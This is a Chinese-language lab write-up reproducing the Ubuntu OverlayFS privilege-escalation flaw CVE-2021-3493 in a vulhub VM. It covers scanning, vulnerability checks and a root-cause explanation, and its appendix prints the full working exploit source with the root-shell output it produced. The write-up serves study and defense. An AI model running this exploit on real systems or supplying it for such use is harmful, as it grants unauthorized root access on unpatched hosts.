OverlayFS 提权漏洞(CVE-2021-3493)复现

1 阅读8分钟

本文深入解析并复现了 Ubuntu 系统特有的内核级提权漏洞 CVE-2021-3493。该漏洞源于 Ubuntu 在实现 OverlayFS(叠加文件系统) 时,未能正确校验用户命名空间(User Namespace)下的文件扩展属性(Extended Attributes)写入权限,导致普通用户可以绕过安全限制。

漏洞基础信息

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2021-34937.8Ubuntu 20.10、20.04 LTS、18.04 LTS本地权限提升(LPE)

漏洞复现

复现环境准备

本文是 PwnKit 提权漏洞(CVE-2021-4034)复现 的延申,直接使用 vulhub/polkit/CVE-2021-4034 目录下的靶机。因为容器中运行了 Qemu 虚拟机,所以初始化需要消耗更长时间。可以使用 docker compose logs 查看运行时的日志。

┌──(kali㉿kali)-[~]
└─$ apt install docker.io docker-compose	# 安装Docker和docker-compose

└─$ git clone https://github.com/vulhub/vulhub.git	# 将 Vulhub 项目克隆到本地

└─$ cd vulhub/polkit/CVE-2021-4034	
└─$ docker-compose up -d	# 拉取镜像并启动容器

└─$ docker ps	# 确认容器启动状态
3c5c6abb13d9   vulhub/polkit:0.105   "/bin/sh -c 'qemu-sy…"   24 minutes ago   Up 24 minutes   0.0.0.0:2222->2222/tcp, :::2222->2222/tcp   cve-2021-4034-cmd-1

└─$ docker-compose logs
# 日志出现以下内容说明初始化成功
cmd-1  | [  OK  ] Finished Execute cloud user/final scripts.
cmd-1  | [  OK  ] Reached target Cloud-init target.

目标探测

端口扫描与服务识别

┌──(kali㉿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP

# 扫描结果
PORT     STATE SERVICE VERSION
2222/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 52:8a:4b:9e:e1:9e:37:71:d0:d4:04:ea:78:85:ea:ef (RSA)
|   256 a7:40:57:0f:9b:b8:4a:f0:4d:e5:87:8f:0d:75:31:69 (ECDSA)
|_  256 ac:8e:ea:83:00:ef:b8:a2:b4:fb:b2:d4:3b:14:82:15 (ED25519)
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OpenSSH 8.2p1 Ubuntu 4: 这个版本对应的上游操作系统通常是 Ubuntu 20.04 (Focal Fossa)2222/tcp:非标准 SSH 端口。

攻击过程

在漏洞复现过程中我们已知用户 ubuntu的密码为 vulhub ,先使用这个已知的账户登录:

┌──(kali㉿kali)-[~]
└─$ ssh ubuntu@192.168.31.148 -p 2222 
ubuntu@192.168.31.148's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64)

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

ubuntu@ubuntu:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)

漏洞验证

检查内核版本

首先确认内核版本是否在受影响的范围内。5.4.0-26-generic是 20.04 发布时的初始版本,处于漏洞的高危区间。

ubuntu@ubuntu:~$ uname -a
Linux ubuntu 5.4.0-26-generic #30-Ubuntu SMP Mon Apr 20 16:58:30 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
检查“用户命名空间”权限

该漏洞的触发前提是系统允许普通用户创建自己的命名空间(User Namespace)。

ubuntu@ubuntu:~$ sysctl kernel.unprivileged_userns_clone
kernel.unprivileged_userns_clone = 1

结果 = 1:漏洞极大概率存在。系统允许非特权用户创建命名空间,这是 OverlayFS 提权的必要路径。

结果 = 0:系统加固了。普通用户无法创建命名空间,漏洞利用会被拦截。

功能模拟

如果前两步都符合,可以通过一个简单的命令来测试内核是否会“错误地允许”用户在自己的命名空间里挂载 OverlayFS。这不会提权,但能验证路径是否打通。

ubuntu@ubuntu:~$ unshare -rm bash -c "mkdir l u w m; mount -t overlay overlay -o lowerdir=l,upperdir=u,workdir=w m && echo 'VULNERABLE: Mount Success' || echo 'PATCHED: Mount Failed'; umount m; rm -rf l u w m"
VULNERABLE: Mount Success
umount: /home/ubuntu/m: filesystem was unmounted, but failed to update userspace mount table.

输出 VULNERABLE: Mount Success: 内核允许你在非特权环境下操作 OverlayFS 的挂载。这意味着内核没有对该操作进行严格的边界限制,漏洞确认存在

输出 Operation not permitted 或 Mount Failed: 内核拒绝了挂载请求。这说明内核已经修补,或者管理员通过安全策略限制了 OverlayFS 的使用。

GitHub POC

在 GitHub 上查找可用的 POC 并尝试提权:

ubuntu@ubuntu:~$ git clone https://github.com/briskets/CVE-2021-3493.git
ubuntu@ubuntu:~$ cd CVE-2021-3493/
ubuntu@ubuntu:~/CVE-2021-3493$ gcc exploit.c -o exploit
ubuntu@ubuntu:~/CVE-2021-3493$ ./exploit 
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd),1000(ubuntu)
bash-5.0# whoami
root

POC 的简析请参考附录。

漏洞核心原理

机制背景

该漏洞的核心在于 Ubuntu 对 User Namespace(用户命名空间) 的策略与 OverlayFS(叠加文件系统) 权限校验逻辑之间的冲突。在 Ubuntu 系统中,内核默认允许普通用户创建自己的命名空间,在这个环境内部,该用户可以拥有特殊的权限(看起来像是 root),但 Linux 内核有一套严密的审计机制,防止用户将这种虚拟权限带到现实系统(全局命名空间)中。

逻辑漏洞

在 OverlayFS 的工作流程中,当你在上层目录创建一个文件并尝试赋予它 SetUID 权限(即允许执行者以文件所有者身份运行)时,正常的 Linux 内核会核实:这个设置权限的请求是否来自真实的全局 root。然而,Ubuntu 的内核代码在处理 OverlayFS 的扩展属性(xattr)同步时,漏掉了这一层校验。它错误地认为,既然用户在自己的命名空间里是 root,那么用户就有权给文件打上 root 权限的标签,并允许这个标签被真实地写入到物理磁盘上。

从虚拟特权到真实提权

攻击者利用这种逻辑上的疏忽,在虚拟环境中通过 OverlayFS 创建一个 Shell 的副本,并将其标记为 root 拥有的 SUID 程序。由于内核没有拦截这个写入动作,这个带有“特权指纹”的文件就成功绕过监管,持久化到了磁盘的物理扇区中。一旦攻击者退出虚拟环境回到真实系统,这个文件依然存在于物理路径下。此时,攻击者只需以普通用户身份运行这个文件,内核在加载程序时会读取磁盘上的 SUID 属性,误以为这是一个受信任的系统管理程序,从而赋予运行者真实的全局 root 权限。

附录

代码简析

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

//#include <attr/xattr.h>
//#include <sys/xattr.h>
int setxattr(const char *path, const char *name, const void *value, size_t size, int flags);


#define DIR_BASE    "./ovlcap"
#define DIR_WORK    DIR_BASE "/work"
#define DIR_LOWER   DIR_BASE "/lower"
#define DIR_UPPER   DIR_BASE "/upper"
#define DIR_MERGE   DIR_BASE "/merge"
#define BIN_MERGE   DIR_MERGE "/magic"
#define BIN_UPPER   DIR_UPPER "/magic"


static void xmkdir(const char *path, mode_t mode)
{
    if (mkdir(path, mode) == -1 && errno != EEXIST)
        err(1, "mkdir %s", path);
}

static void xwritefile(const char *path, const char *data)
{
    int fd = open(path, O_WRONLY);
    if (fd == -1)
        err(1, "open %s", path);
    ssize_t len = (ssize_t) strlen(data);
    if (write(fd, data, len) != len)
        err(1, "write %s", path);
    close(fd);
}

static void xcopyfile(const char *src, const char *dst, mode_t mode)
{
    int fi, fo;

    if ((fi = open(src, O_RDONLY)) == -1)
        err(1, "open %s", src);
    if ((fo = open(dst, O_WRONLY | O_CREAT, mode)) == -1)
        err(1, "open %s", dst);

    char buf[4096];
    ssize_t rd, wr;

    for (;;) {
        rd = read(fi, buf, sizeof(buf));
        if (rd == 0) {
            break;
        } else if (rd == -1) {
            if (errno == EINTR)
                continue;
            err(1, "read %s", src);
        }

        char *p = buf;
        while (rd > 0) {
            wr = write(fo, p, rd);
            if (wr == -1) {
                if (errno == EINTR)
                    continue;
                err(1, "write %s", dst);
            }
            p += wr;
            rd -= wr;
        }
    }

    close(fi);
    close(fo);
}

static int exploit()
{
    char buf[4096];

    sprintf(buf, "rm -rf '%s/'", DIR_BASE);
    system(buf);

    xmkdir(DIR_BASE, 0777);
    xmkdir(DIR_WORK,  0777);
    xmkdir(DIR_LOWER, 0777);
    xmkdir(DIR_UPPER, 0777);
    xmkdir(DIR_MERGE, 0777);

    uid_t uid = getuid();
    gid_t gid = getgid();

    if (unshare(CLONE_NEWNS | CLONE_NEWUSER) == -1)
        err(1, "unshare");

    xwritefile("/proc/self/setgroups", "deny");

    sprintf(buf, "0 %d 1", uid);
    xwritefile("/proc/self/uid_map", buf);

    sprintf(buf, "0 %d 1", gid);
    xwritefile("/proc/self/gid_map", buf);

    sprintf(buf, "lowerdir=%s,upperdir=%s,workdir=%s", DIR_LOWER, DIR_UPPER, DIR_WORK);
    if (mount("overlay", DIR_MERGE, "overlay", 0, buf) == -1)
        err(1, "mount %s", DIR_MERGE);

    // all+ep
    char cap[] = "\x01\x00\x00\x02\xff\xff\xff\xff\x00\x00\x00\x00\xff\xff\xff\xff\x00\x00\x00\x00";

    xcopyfile("/proc/self/exe", BIN_MERGE, 0777);
    if (setxattr(BIN_MERGE, "security.capability", cap, sizeof(cap) - 1, 0) == -1)
        err(1, "setxattr %s", BIN_MERGE);

    return 0;
}

int main(int argc, char *argv[])
{
    if (strstr(argv[0], "magic") || (argc > 1 && !strcmp(argv[1], "shell"))) {
        setuid(0);
        setgid(0);
        execl("/bin/bash", "/bin/bash", "--norc", "--noprofile", "-i", NULL);
        err(1, "execl /bin/bash");
    }

    pid_t child = fork();
    if (child == -1)
        err(1, "fork");

    if (child == 0) {
        _exit(exploit());
    } else {
        waitpid(child, NULL, 0);
    }

    execl(BIN_UPPER, BIN_UPPER, "shell", NULL);
    err(1, "execl %s", BIN_UPPER);
}

实验环境构建

代码首先通过一系列辅助函数在文件系统中建立起攻击所需的目录结构。利用 DIR_BASE 及其子目录定义,程序在磁盘上创建了 OverlayFS 运行必不可少的四个组件:底层目录(Lower)、上层目录(Upper)、工作目录(Work)以及最终挂载点合并目录(Merge)。这一阶段的目的是准备一个分层文件系统的操作空间。根据 OverlayFS 的工作机制,所有在合并层发生的写操作,其实际的物理文件和元数据最终都会被存储在“上层目录”中。

创建用户命名空间与 UID 映射

程序利用 unshare(CLONE_NEWNS | CLONE_NEWUSER) 系统调用创建了独立的挂载命名空间和用户命名空间。在这一隔离的运行环境中,程序通过修改 /proc/self/uid_map/proc/self/gid_map 文件,将当前普通用户的 ID 映射为该空间内的 UID 0(超级用户)。虽然这种权限仅限于该命名空间内部,但它赋予了进程在空间内执行 mount 系统调用的权限,从而允许程序将 OverlayFS 文件系统挂载到之前准备好的合并目录上。

写入扩展属性与内核校验绕过

在挂载完成后的合并目录中,程序将自身的可执行文件复制进去,并执行最核心的操作:调用 setxattr 函数。该函数用于设置文件的扩展属性,程序向 security.capability 属性中写入了一段经过构造的二进制数据 cap。这段数据代表了 Linux 内核中的所有特权位(Full Capabilities)。正常情况下,非全局 root 用户禁止设置此类特权属性,但 Ubuntu 的内核在处理 OverlayFS 时存在逻辑错误,它未能正确校验该写入请求是否来自真实的全局特权用户,导致这组特权标志位被物理地写入到了底层磁盘的“上层目录”文件中。

root 权限获取

当负责属性写入的子进程退出后,隔离的命名空间随之销毁,但物理磁盘上已经生成了一个带有特权标志的可执行文件。主进程随后通过 execl 函数启动位于“上层目录”中的这个文件。内核在加载该程序时,会读取磁盘上的扩展属性并赋予该进程真实的内核特权。程序重新进入 main 函数后,通过判断逻辑识别出自身已具备特权身份,随即调用 setuid(0)setgid(0) 将进程的有效用户 ID 彻底切换为全局 Root,并最终执行 execl 唤起一个具有最高权限的交互式 Bash Shell。